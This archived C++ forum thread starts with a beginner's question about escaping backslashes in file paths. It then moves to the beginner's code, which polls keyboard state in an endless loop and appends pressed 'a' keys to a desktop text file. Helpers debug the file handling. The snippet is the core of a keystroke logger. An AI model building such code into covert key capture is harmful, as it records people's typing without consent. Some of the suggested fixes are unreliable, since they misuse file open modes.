file saving question

This is a discussion on file saving question within the C++ Programming forums, part of the General Programming Boards category; .open and .close to save files but i cant save any files that are not in my program directory. all ...

  1. #1
    Registered User
    Join Date
    Apr 2009
    Posts
    6

    file saving question

    .open and .close to save files but i cant save any files that are not in my program directory. all i can type is ("test.txt") for it to work which saves it in the current directory. If i type ("C:\Documents and Settings\ Chris\desktop\test.txt") or ("C:\documentsandsettings\chris\desktop\test.tx t") it doesnt work. Can someone please help me out?

  2. #2
    Registered User carrotcake1029's Avatar
    Join Date
    Apr 2008
    Posts
    398
    When you are using "\" in a string literal, it acts as an escape character.

    Try this:
    ("C:\\Documents and Settings\\Chris\\desktop\\test.txt")

    Constant Escape Sequences [C++ Reference]

  3. #3
    Registered User
    Join Date
    Apr 2009
    Posts
    6
    ah thanks, i didnt know that

  4. #4
    Registered User
    Join Date
    Apr 2009
    Posts
    6

    Question another question

    k i got another question im using this code to print the key a in my file if the a key is pressed...

    File... akfunc.h

    Code:
    #include <windows.h>
    #include <iostream>
    #include <string>
    #include <fstream>
    
    using namespace std;
    
    ofstream myfile;
    
    void aKey()
    {
    	if (GetKeyState(VK_CAPITAL) && GetAsyncKeyState(VK_SHIFT) && 
    		GetAsyncKeyState(0x41) == -32767)                   
    	{
    		myfile.open ("C:\\Documents and Settings\\Chris\\desktop\\test.txt");
    		myfile << "a";                                    
    		myfile.flush();
    	}
    	else if (GetAsyncKeyState(VK_SHIFT) && GetAsyncKeyState(0x41) == -32767 ||
    			GetKeyState(VK_CAPITAL) && GetAsyncKeyState(0x41) == -32767) 
    	{     
    		myfile.open ("C:\\Documents and Settings\\Chris\\desktop\\test.txt");
    		myfile << "A";                                               
    		myfile.flush();
    	}                                                                          
    	else if (GetAsyncKeyState(0x41) == -32767)                            
    	{
    		myfile.open ("C:\\Documents and Settings\\Chris\\desktop\\test.txt");
    		myfile << "a";                                                         
    		myfile.flush();
    	}
    }


    File... main.cpp

    Code:
    #include "stdafx.h"
    #include "akfunc.h"
    #include "nskfunc.h"
    #include "skfunc.h"
    #include <iostream>
    #include <fstream>
    
    using namespace std;
    
    int main()
    {
    	do	
    	{
    		Sleep(10); 
    		aKey();
    	}
    	while(1);
    
    return 0;
    }

  5. #5
    Registered User
    Join Date
    Apr 2009
    Posts
    45
    So what's your question?

  6. #6
    Registered User
    Join Date
    Apr 2009
    Posts
    6

    oops

    oops i forgot to add that. My question is when i press the "a" key all it does it add one "a" to the text file. If i press a again it doent add one.
    Last edited by chrisx16x2008; 04-11-2009 at 09:50 PM.

  7. #7
    60% Braindead
    Join Date
    Dec 2005
    Posts
    379
    You're repeatedly opening the file which dumps the content. Either open the file once or use
    Code:
    	file.open(filename, ifstream::in);
    Also; you never close the file.

    You may also consider buffering the contents and rewriting the file with the buffer and the added characters. This will take sufficiently longer than streaming though.
    Code:
    Error W8057 C:\\Life.cpp: Invalid number of arguments in function run(Brain *)

  8. #8
    Registered User
    Join Date
    Apr 2009
    Posts
    6
    my new code which still does the same thing. also i heard the .flush lets u reopen the file? i have tested the file by pressing shift + A and the "a" regular and it always only prints the first letter i have typed.

    Code:
    #include <windows.h>
    #include <iostream>
    #include <string>
    #include <fstream>
    
    using namespace std;
    
    ofstream myfile;
    
    void aKey()
    {
    	if (GetKeyState(VK_CAPITAL) && GetAsyncKeyState(VK_SHIFT) && 
    		GetAsyncKeyState(0x41) == -32767)                    
    	{
    		myfile.open("c:\\documentsandsettings\\allusers\\desktop\\test.txt", ifstream::in);
    		myfile << "a";                                     
    		myfile.flush();
    		myfile.close();
    	}
    	else if (GetAsyncKeyState(VK_SHIFT) && GetAsyncKeyState(0x41) == -32767 || //checks if Shift + key
    			GetKeyState(VK_CAPITAL) && GetAsyncKeyState(0x41) == -32767)     
    	{                                                                  
    		myfile.open("c:\\Documents and Settings\\All Users\\desktop\\test.txt", ifstream::in);
    		myfile << "A";                                                      
    		myfile.flush();
    		myfile.close();
    	}                                                                        
    	else if (GetAsyncKeyState(0x41) == -32767)                  
    	{
    		myfile.open("c:\\Documents and Settings\\All Users\\desktop\\test.txt", ifstream::in);
    		myfile << "a";                                                           
    		myfile.flush();
    		myfile.close();
    	}
    }

  9. #9
    Registered User
    Join Date
    Apr 2009
    Posts
    6

    ?

    anyone?

  10. #10
    Registered User
    Join Date
    Apr 2009
    Posts
    45
    This opens the file and closes the file with out erasing the data contained inside.

    Code:
    ofstream file("C:\\FILENAME.txt", ios::in | ios::out);
    
    if(file.is_open())
    	cout << "\n\nIt's open!" << endl;
    
    file.close();
    
    if(!file.is_open())
    	cout << "\nAnd now it's closed!" << endl;
    Hope that helps!

Popular pages Recent additions subscribe to a feed

Similar Threads

  1. File Writing Problem
    By polskash in forum C Programming
    Replies: 3
    Last Post: 02-13-2009, 10:47 AM
  2. Data Structure Eror
    By prominababy in forum C Programming
    Replies: 3
    Last Post: 01-06-2009, 09:35 AM
  3. opening empty file causes access violation
    By trevordunstan in forum C Programming
    Replies: 10
    Last Post: 10-22-2008, 12:19 AM
  4. sequential file program
    By needhelpbad in forum C Programming
    Replies: 80
    Last Post: 06-08-2008, 02:04 PM
  5. System
    By drdroid in forum C++ Programming
    Replies: 3
    Last Post: 06-28-2002, 11:12 PM

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21